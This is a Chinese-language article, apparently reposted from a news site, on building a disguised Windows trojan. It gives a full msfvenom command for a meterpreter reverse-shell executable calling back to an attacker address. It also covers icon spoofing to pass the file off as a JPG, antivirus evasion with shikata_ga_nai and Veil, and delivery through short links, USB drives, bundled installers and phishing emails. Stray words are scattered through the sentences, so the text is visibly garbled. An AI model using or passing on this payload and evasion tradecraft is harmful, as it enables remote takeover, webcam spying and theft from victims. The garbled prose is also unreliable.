msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

这条命令敲下去，生成一个普通的图片exe就诞生了。但别急着双击，木马得先给这张“照片”裹层糖衣。生成kali里自带的图片图标提取工具能帮你把木马伪装成一张JPG——右键属性，换图标，木马再把文件名改成“旅游照片合集.exe”。生成人类对图片的图片警惕性比对exe低得多，这是木马心理学漏洞，不是生成技术漏洞。

真正要命的图片是编码。直接扔出去的木马exe早就被杀软拉黑名单了。用shikata_ga_nai编码器跑三轮，生成再混入两个无害指令做混淆，图片文件体积会膨胀30%，木马但存活率能翻倍。我见过最蠢的做法是生成完直接发微信传文件——腾讯的云端扫描瞬间就能揪出特征码。正确姿势是架个临时HTTP服务器，用短链接诱导目标点击，或者干脆U盘拷贝。

监听端才是重头戏。msfconsole里设置好handler，等待回连的那几分钟最煎熬。真正成功时，meterpreter会话弹出来，你能看到目标的摄像头指示灯突然亮起——那种掌控感会让人上瘾。但别高兴太早，Win10的Defender实时保护会在文件落地后5秒内查杀，除非你提前用Veil框架做了免杀处理。

说实话，这类攻击成功率早就没那么高了。企业版EDR会监控进程行为，你就算伪造了图片图标，双击后进程树照样暴露无遗——父进程是explorer.exe，子进程却开始访问网络端口，傻子都能看出不对劲。我见过最精妙的伪装是捆绑进正经PDF阅读器安装包，用户一路点下一步，木马就跟着驱动一起静默入驻了。

写这篇文章不是教你当黑客。事实上，我认识玩这个最溜的家伙现在在给银行做红队测试，月薪六万。技术本身是中性工具，关键是拿它做什么。那些想靠这招偷人QQ号的，多半连msfconsole的help菜单都没翻完就放弃了——因为现在的QQ保护机制会直接拦截未知exe运行。

最后提一嘴，kali官方论坛上有个帖子叫“如何优雅地生成图片木马”，底下高赞回复是张表情包：一只猫爪按在键盘上，配文“你倒是运行啊”。真实世界里的攻防战，往往就卡在这些最不性感的环节上——文件传输方式、免杀时效、目标的上网习惯。技术文档不会告诉你的是，成功率最高的方法永远是给目标发一封标题为“季度奖金发放表”的钓鱼邮件，附件就是那个伪装成Excel的木马。人，才是最大的漏洞。

(责任编辑：热点)